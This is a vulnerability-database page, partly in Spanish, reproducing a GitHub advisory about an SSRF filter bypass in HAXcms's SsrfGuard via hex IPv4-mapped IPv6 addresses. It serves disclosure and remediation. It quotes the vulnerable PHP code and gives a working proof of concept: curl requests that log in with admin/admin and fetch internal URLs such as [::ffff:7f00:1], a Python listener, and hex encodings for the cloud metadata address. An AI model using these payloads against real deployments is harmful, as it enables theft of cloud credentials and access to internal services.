llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · @haxtheweb/haxcms-nodejs

GHSA-6W22-GHXF-X2PV

SSRF filter bypass in SsrfGuard via hex IPv4-mapped IPv6 addresses

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición63 dDesde la divulgación, 17 sept 2026, 2:27 p. m.
Detección62 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
17 sept 26
18 nov 26
20 nov 26
17 sept 26
3 oct 26
19 oct 26
4 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-6W22-GHXF-X2PV divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

An SSRF vulnerability in the HAXcms PHP backend allows any authenticated user to bypass the `SsrfGuard` private-IP filter and force the server to issue HTTP requests to loopback, RFC1918 internal addresses, and the cloud instance-metadata endpoint (`169.254.169.254`). Because the affected endpoints reflect the fetched response body back to the caller, this enables theft of cloud IAM credentials and enumeration/access of internal services.

Severity: High (CVSS ~8.1: Network / Low complexity / Low privileges / Confidentiality High). Access required: any authenticated user (default `admin`/`admin` on the research instance; any user capable of logging in and calling a conversion/import endpoint).

---

Details

The backend guards every outbound request with `SsrfGuard` (`system/backend/php/lib/SsrfGuard.php`), which validates the target IP before fetching. The flaw is in `SsrfGuard::isPrivateOrReservedIP`:

// SsrfGuard.php:41-73
$packed = @inet_pton($ip);
if ($packed !== false && strlen($packed) === 16) {
    $lower = strtolower($ip);
    if ($ip === '::1' || $ip === '::' || $ip === '0:0:0:0:0:0:0:1') {
        return true;
    }
    if (strpos($lower, 'fc') === 0 || strpos($lower, 'fd') === 0) { return true; }
    if (strpos($lower, 'fe80') === 0) { return true; }
    // IPv4-mapped IPv6 (::ffff:a.b.c.d) — only the DOTTED-QUAD spelling
    if (strpos($lower, '::ffff:') === 0) {
        $v4 = substr($ip, 7);                 // "::ffff:7f00:1" -> "7f00:1"  (hex, NOT handled)
        return self::isPrivateOrReservedIPv4($v4);
    }
    // IPv4-compatible IPv6 (::a.b.c.d) — only when a "." is present
    if (strpos($lower, '::') === 0 && strpos($ip, '.') !== false) {
        $v4 = substr($ip, 2);
        return self::isPrivateOrReservedIPv4($v4);
    }
    return false;                              // hex mapped/compat forms fall through as PUBLIC
}
return self::isPrivateOrReservedIPv4($ip);

The downstream classifier (`SsrfGuard.php:76-108`) string-matches `127.`, `10.`, `192.168.`, `172.16–31`, `169.254.` — none of which match hex spellings like `7f00:1`, so the mapped address is deemed public.

`validateUrlNotSSRF` (`SsrfGuard.php:119-180`) is the gate each safe-fetch wrapper calls first. For a literal IP such as `[::ffff:7f00:1]`, `gethostbynamel()`/`dns_get_record()` return nothing, so the literal is appended verbatim (`SsrfGuard.php:164-166`) and then misclassified:

// SsrfGuard.php:162-166
$literalV4 = filter_var($literalHost, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
$literalV6 = filter_var($literalHost, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6);
if ($literalV4 !== false || $literalV6 !== false) {
    $addresses[] = $literalHost;   // "::ffff:7f00:1" -> isPrivateOrReservedIP returns false
}

No exception is thrown, so the guarded wrappers proceed:

  • `safeFileGetContents` — `SsrfGuard.php:188-200`
  • `safeGuzzleRequest` — `SsrfGuard.php:208-219`
  • `safeCurlExec` — `SsrfGuard.php:227-246`

At runtime PHP's curl extension routes `[::ffff:7f00:1]:PORT` to a service bound on `127.0.0.1:PORT`, and `validateUrlNotSSRF('http://[::ffff:7f00:1]/')` returns without throwing (both verified).

Reachable sinks (all POST under `/system/api/v1`, Bearer JWT + `X-HAXCMS-User-Token`):

| Endpoint | Parameter | Fetch wrapper | Source |
|---|---|---|---|
| `/site/import/recipe` | `repoUrl` | `safeCurlExec` | `systemRoutes/v1/imports/convertRecipeToSite.php:38` |
| `/site/import/haxcms` | `repoUrl` | `safeGuzzleRequest` | `convertHaxcmsToSite.php:100,132,153` |
| `/site/import/html` | `repoUrl` | `safeGuzzleRequest` | `convertHtmlToSite.php:45` |
| `/site/import/pressbooks` | `repoUrl` | `safeGuzzleRequest` | `convertPressbooksToSite.php:67` |
| `/site/import/wordpress` | `repoUrl` | `safeGuzzleRequest` | `convertWordpressToSite.php:55,117` |
| `/site/import/elmsln` | `repoUrl` | `safeGuzzleRequest` | `convertElmslnToSite.php:39,87` |
| `/site/import/drupal-book` | `repoUrl` | `safeGuzzleRequest` | `convertDrupalBookToSite.php:44,60,116` |
| `/site/import/plone` | `repoUrl` | `safeGuzzleRequest` | `convertPloneToSite.php:40,52,83` |
| `/actions/html-to-md` | `html` + `type=link` | `safeGuzzleRequest` | `convertHtmlToMd.php:38` |
| `/actions/md-to-html` | `md` + `type=link` | `safeGuzzleRequest` | `convertMdToHtml.php:39` |
| `/actions/json-to-yaml` | `json` + `type=link` | `safeGuzzleRequest` | `convertJsonToYaml.php:34` |
| `/actions/yaml-to-json` | `yaml` + `type=link` | `safeGuzzleRequest` | `convertYamlToJson.php:34` |
| `/actions/pretty-html` | `html` + `type=link` | `safeGuzzleRequest` | `convertPrettyHtml.php:33` |

---

PoC

Tested against a stock install, v26.8.0 at commit `04a941ef`, Apache with PHP 8.4, on http://localhost:8080. Nothing non-default is needed. Any working author account will do; mine is `admin` with a password I set during install.

Get a JWT:

JWT=$(curl -s -X POST -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' \
  http://localhost:8080/system/api/v1/session/login | sed -E 's/.*"jwt":"([^"]+)".*/\1/')

You also need the `X-HAXCMS-User-Token` header. It's `HMAC-SHA256(username, privateKey . salt)`, base64url with the padding stripped, and it's already sitting in any rendered page as `appSettings.userToken`.

Start something on a port the server can reach but you can't from outside:

python3 -c "
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('HIT', self.client_address[0], self.path, flush=True)
        self.send_response(200); self.end_headers(); self.wfile.write(b'CALLBACK-OK')
socketserver.TCPServer.allow_reuse_address=True
socketserver.TCPServer(('127.0.0.1',9999),H).serve_forever()"

First the control, so you can see the guard working:

curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $JWT" -H "X-HAXCMS-User-Token: $UTOK" \
  -d '{"type":"link","md":"http://127.0.0.1:9999/?t=control"}' \
  http://localhost:8080/system/api/v1/actions/md-to-html
{ "status": 200, "data": { "contents": "" } }

Nothing in the listener log. Now the same destination in hex:

curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $JWT" -H "X-HAXCMS-User-Token: $UTOK" \
  -d '{"type":"link","md":"http://[::ffff:7f00:1]:9999/?t=bypass"}' \
  http://localhost:8080/system/api/v1/actions/md-to-html
{ "status": 200, "data": { "contents": "<p>CALLBACK-OK</p>\n" } }
HIT 127.0.0.1 /?t=bypass

The response body from the internal service comes back in `contents`, and the listener shows the connection came from the server rather than from me.

To show it reaching something real, here's the same trick pointed at the application's own API over loopback:

curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $JWT" -H "X-HAXCMS-User-Token: $UTOK" \
  -d '{"type":"link","html":"http://[::ffff:7f00:1]:8080/system/api/v1/openapi"}' \
  http://localhost:8080/system/api/v1/actions/html-to-md
{ "status": 200, "data": { "contents": "{ \"openapi\": \"3.0.3\", \"info\": { \"title\": \"HAXcms System API\" ... " } }

For any other target, encode the IPv4 address as two hex groups: `[::ffff:c0a8:7]` is 192.168.0.7, `[::ffff:a9fe:a9fe]` is 169.254.169.254.

Impact

Who is impacted: any HAXcms PHP deployment where (a) the import/convert endpoints are exposed to authenticated users, and (b) the server runs in a cloud environment or on a network with internal HTTP services.

Consequences:
-Cloud credential theft: the metadata endpoint (`169.254.169.254`) is reachable, exposing IAM role credentials, instance identity documents, and user-data.
-Internal network pivoting: RFC1918 hosts are reachable (`::ffff:0a00:0001` → `10.0.0.1`, `::ffff:c0a8:0001` → `192.168.0.1`, `::ffff:ac10:0001` → `172.16.0.1`).
- Loopback access: `::ffff:7f00:1` reaches localhost-bound services.
- Response exfiltration:`recipe` import and the `type=link` converters reflect the fetched body to the attacker, so this is a read/exfil primitive, not merely blind SSRF.

Fix: in `SsrfGuard::isPrivateOrReservedIP`, normalize IPv4-mapped/compatible IPv6 (`::ffff:0:0/96`, `::/96`) by decoding the trailing 4 bytes via `inet_ntop(substr($packed, 12, 4))` and re-checking with `isPrivateOrReservedIPv4`, instead of matching only the dotted-quad text. Optionally pin the validated IP with `CURLOPT_RESOLVE`/`CURLOPT_CONNECT_TO` to close the DNS-rebinding window (`SsrfGuard.php:18-23`).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
@haxtheweb/haxcms-nodejs≤ 26.8.1
26.8.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@haxtheweb/haxcms-nodejs
Sin parche — — 26.8.1 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/haxtheweb/issues/security/advisories/GHSA-6w22-ghxf-x2pv

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.